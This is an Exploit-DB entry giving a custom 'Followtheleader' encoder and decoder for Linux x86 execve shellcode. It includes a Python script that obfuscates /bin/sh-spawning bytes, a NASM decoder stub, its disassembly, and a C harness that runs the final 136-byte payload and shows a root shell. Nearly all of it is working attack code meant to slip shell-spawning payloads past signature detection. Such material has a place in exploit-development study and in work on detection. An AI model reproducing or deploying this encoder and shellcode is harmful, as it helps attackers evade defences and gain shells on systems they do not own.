Linux/x86 - 'Followtheleader' Custom execve() Shellcode (Encoder/Decoder) (Generator)

EDB-ID:

36781

CVE:

N/A


Platform:

Generator

Published:

2015-04-17

/*
Followtheleader custom execve-shellcode Encoder/Decoder  - Linux Intel/x86
Author: Konstantinos Alexiou
*/
------------------------------------------------------------------------------------------------------------------
a)Python script. Encoder for shellcode (execve)
------------------------------------------------------------------------------------------------------------------

#!/usr/bin/python
# Author:Konstantinos Alexiou  
# Encoding name: Followtheleader-encoder
# Description: Custom execve-shellcode encoder based on a given byte which is used to encode the execve shellcode
import random
import sys
shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80')

total = len(sys.argv)
if total != 2:
	print '!!Give the LEADER byte' 
	print 'Script must run as: python xxx.py LEADER'
	print 'LEADER is any integer between 17-255'
	print 'e.g  python Followtheleader.py 32'
else:
    try:
	leader = int(sys.argv[1])
	fb = int(hex(leader)[2:3],16)		                          # Split the LEADER. If leader = AF -->fb=A
	sb = int(hex(leader)[3:],16)				          # Split the LEADER. If LEADER = AF -->sb=F
	encoded = ' '
	encoded2 = ' ' 
	encoded = '\\x'
	encoded += hex(leader)[2:]     	    	        		  # FIRST byte the LEADER 
	encoded2 = '0x'
	encoded2 += hex(leader)[2:]
	i=0
	for x in bytearray(shellcode):          	                  # READ every Instruction as BYTE  
		i +=1
		hopcode = '%02x' %x		             	          # KEEP only the HEX value of opcode
		Dec_hopcode = int(hopcode, 16)		      	          # CALCULATE the DECIMAL value of opcode 
		suplX = 255 - Dec_hopcode       		          # CALCULATE the SUPPLEMENT 
		rev_suplx = hex(suplX)[::-1]                              # REVERT the bytes of SUPPLEMENT (ae --> ea)
		subfs = fb-sb                        
#----------------------------The Encoded byte ----------------------------------------------------
   		xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16))
#-------------------------------------------------------------------------------------------------
		if len(xxx)>4:				 	          # Check if xxx > 0xff
			print 'Overflow encoding.Try again!!!.'
			sys.exit()
		elif xxx == '0x0':					  # Check if ZERO byte was encoded 
	    		print 'A byte was Encoded as 0x00 .Try again!!!'
            		sys.exit()
		encoded +=  '\\x'           			          # Put \x first
		encoded +=  xxx[2:]         			          # Put the xxx afterwards
		insertByte = hex(random.randint(1,255))    	          # Put a Random byte 
		encoded += '\\x'            
		encoded += insertByte[2:]   
		i +=1
		encoded2 += ','
		encoded2 += xxx 
		encoded2 += ','           
		encoded2 += '0x'
		encoded2 += insertByte[2:]
	print ' *************';
	print ' LEADER BYTE :decimal(%d), HEX(0x%x)'  %(int(sys.argv[1]),leader)
	print ' *************';
	print 'Len of Shellcode: %02d' % i
	print '------------------------------------------------------------------------';
	print '   1. Style:= %s ' % encoded
	print '------------------------------------------------------------------------';
	print '   2. Style:= %s ' % encoded2
	print '------------------------------------------------------------------------';
    except:
	print "exiting..."
---------------------------------------------------------------------------------------


Followtheleader Encoder test run :

$ python Followtheleader-encoder.py 67
 *************
 LEADER BYTE :decimal(67), HEX(0x43)
 *************
Len of Shellcode: 50
------------------------------------------------------------------------
   1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78
\xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78
\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe 
------------------------------------------------------------------------
   2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,
0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,
0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe 
------------------------------------------------------------------------


b) Decoder for the encoded shellcode (execve-stack)
---------------------------------------------------------------------------------------
$ cat Followtheleader-decoder.nasm 
; Filename: Followtheleader-decoder.nasm
; Author:  Konstantinos Alexiou
; Description: Followtheleader custom insertion Encoder, Linux Intel/x86
 
global _start           
section .text
 
_start:
    jmp short call_shellcode

decoder:
    pop esi             	 ; Address of EncodedShellcode to ESI
    lea edi, [esi]               ; Load effective address of what is contained on EDI
    xor ecx, ecx   		 ; Zero ECX
    mul ecx 			 ; This instruction will cause both EAX and EDX to become zero
    xor ebp, ebp            	 ; Zero the value on EBP 
    mov dl, byte [esi]           ; Put the LEADER byte to EDX (DL) 
  
;(firstb - secondb) CALCULATION  
    mov al, dl                   ; Copy the LEADER to EAX
  
    ;firstb extraction of LEADER
    shr dl, 4                    ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
   
    ;secondb extraction of LEADER
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of Leader on al
    shr eax, 28                  ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
    sub dl, al                   ; (firstb - secondb) value stored to EDX (DL)
    jns decode_pr    

negative:			 ; Calculate the absolute value if negative  
    not dl
    inc dl

;decode process
decode_pr:

    xor eax, eax                
    xor ebx, ebx
    xor ecx, ecx

    mov al, byte [esi+1+ebp]	 ; Put the encoded byte to EAX
    mov ecx, ebp         	 ; EBP is used as a counter copy the value of EBP to ECX
    xor cl, 0x32	         ; At the end of the shellcode EBP should point 50 in decimal 32 in hex
    je short EncodedShellcode   
  
    ;rev_suplx Calculation
    mov cl, al			 ; Put the Encoded byte to EAX (xxx to EAX)
    sub cl, dl          	 ; rev_suplx= xxx-(firstb - secondb) value stored to CL
    mov bl, cl          	 ; Keep Backup of rev_suplx to BL
    mov al, cl          	 ; Second backup of CL   
    
    ;Revert the bytes on rev_suplx 
    shr bl, 4                    ; shift 4 bits right (if was bl=ec now bl=e)
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000) 
    shr eax, 24                  ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0)
    add eax, ebx                 ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce)
 
    ;Supplement Calculation
    mov bl, 0xff                 ; Value of  0xff to BL
    sub bl, al                   ; Calculate the Supplement
    mov byte [edi], bl           ; Put the decoded byte to the position of EDI
    inc edi                      ; EDI is a pointer to the position which the decoded bytes will be stored
    add ebp,0x2			 ; The EBP is a counter values will be (2,4,6,..50)

    jmp short decode_pr		 ; Goto the decode process to decode the next bytes		
 
call_shellcode:
    call decoder
    EncodedShellcode: db 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe


---------------------------------------------------------------------------------------------------------------------------------------
$ objdump -d ./Followtheleader-decoder -M intel

./Followtheleader-decoder:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	eb 4e                	jmp    80480b0 <call_shellcode>

08048062 <decoder>:
 8048062:	5e                   	pop    esi
 8048063:	8d 3e                	lea    edi,[esi]
 8048065:	31 c9                	xor    ecx,ecx
 8048067:	f7 e1                	mul    ecx
 8048069:	31 ed                	xor    ebp,ebp
 804806b:	8a 16                	mov    dl,BYTE PTR [esi]
 804806d:	88 d0                	mov    al,dl
 804806f:	c0 ea 04             	shr    dl,0x4
 8048072:	c1 e0 1c             	shl    eax,0x1c
 8048075:	c1 e8 1c             	shr    eax,0x1c
 8048078:	28 c2                	sub    dl,al
 804807a:	79 04                	jns    8048080 <decode_pr>

0804807c <negative>:
 804807c:	f6 d2                	not    dl
 804807e:	fe c2                	inc    dl

08048080 <decode_pr>:
 8048080:	31 c0                	xor    eax,eax
 8048082:	31 db                	xor    ebx,ebx
 8048084:	31 c9                	xor    ecx,ecx
 8048086:	8a 44 2e 01          	mov    al,BYTE PTR [esi+ebp*1+0x1]
 804808a:	89 e9                	mov    ecx,ebp
 804808c:	80 f1 32             	xor    cl,0x32
 804808f:	74 24                	je     80480b5 <EncodedShellcode>
 8048091:	88 c1                	mov    cl,al
 8048093:	28 d1                	sub    cl,dl
 8048095:	88 cb                	mov    bl,cl
 8048097:	88 c8                	mov    al,cl
 8048099:	c0 eb 04             	shr    bl,0x4
 804809c:	c1 e0 1c             	shl    eax,0x1c
 804809f:	c1 e8 18             	shr    eax,0x18
 80480a2:	01 d8                	add    eax,ebx
 80480a4:	b3 ff                	mov    bl,0xff
 80480a6:	28 c3                	sub    bl,al
 80480a8:	88 1f                	mov    BYTE PTR [edi],bl
 80480aa:	47                   	inc    edi
 80480ab:	83 c5 02             	add    ebp,0x2
 80480ae:	eb d0                	jmp    8048080 <decode_pr>

080480b0 <call_shellcode>:
 80480b0:	e8 ad ff ff ff       	call   8048062 <decoder>

080480b5 <EncodedShellcode>:
 80480b5:	43                   	inc    ebx
 80480b6:	ed                   	in     eax,dx
 80480b7:	1d f4 40 fb 6f       	sbb    eax,0x6ffb40f4
 80480bc:	7a a9                	jp     8048067 <decoder+0x5>
 80480be:	0e                   	push   cs
 80480bf:	b6 0e                	mov    dh,0xe
 80480c1:	bc c9 e3 7a af       	mov    esp,0xaf7ae3c9
 80480c6:	7a 78                	jp     8048140 <EncodedShellcode+0x8b>
 80480c8:	0e                   	push   cs
 80480c9:	c5 da 76             	(bad)  
 80480cc:	6a 17                	push   0x17
 80480ce:	1a 4e 68             	sbb    cl,BYTE PTR [esi+0x68]
 80480d1:	38 c2                	cmp    dl,al
 80480d3:	99                   	cdq    
 80480d4:	fb                   	sti    
 80480d5:	35 68 84 d2 b3       	xor    eax,0xb3d28468
 80480da:	cb                   	retf   
 80480db:	7c 68                	jl     8048145 <EncodedShellcode+0x90>
 80480dd:	78 e2                	js     80480c1 <EncodedShellcode+0xc>
 80480df:	9a f5 e9 50 c0 24 91 	call   0x9124:0xc050e9f5
 80480e6:	f8                   	clc    
 80480e7:	fe                   	.byte 0xfe
-------------------------------------------------------------------------------------------

$ cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =\
"\xeb\x4e\x5e\x8d\x3e\x31\xc9\xf7\xe1\x31\xed\x8a\x16\x88\xd0\xc0\xea\x04\xc1\xe0\x1c\xc1\xe8\x1c\x28\xc2\x79\x04\xf6\xd2\xfe\xc2\x31\xc0\x31\xdb\x31\xc9\x8a\x44\x2e\x01\x89\xe9\x80\xf1\x32\x74\x24\x88\xc1\x28\xd1\x88\xcb\x88\xc8\xc0\xeb\x04\xc1\xe0\x1c\xc1\xe8\x18\x01\xd8\xb3\xff\x28\xc3\x88\x1f\x47\x83\xc5\x02\xeb\xd0\xe8\xad\xff\xff\xff\x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\x0e\xb6\x0e\xbc\xc9\xe3\x7a\xaf\x7a\x78\x0e\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}
-------------------------------------------------------------------------------------------

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Shellcode Length:  136
$whoami 
root
$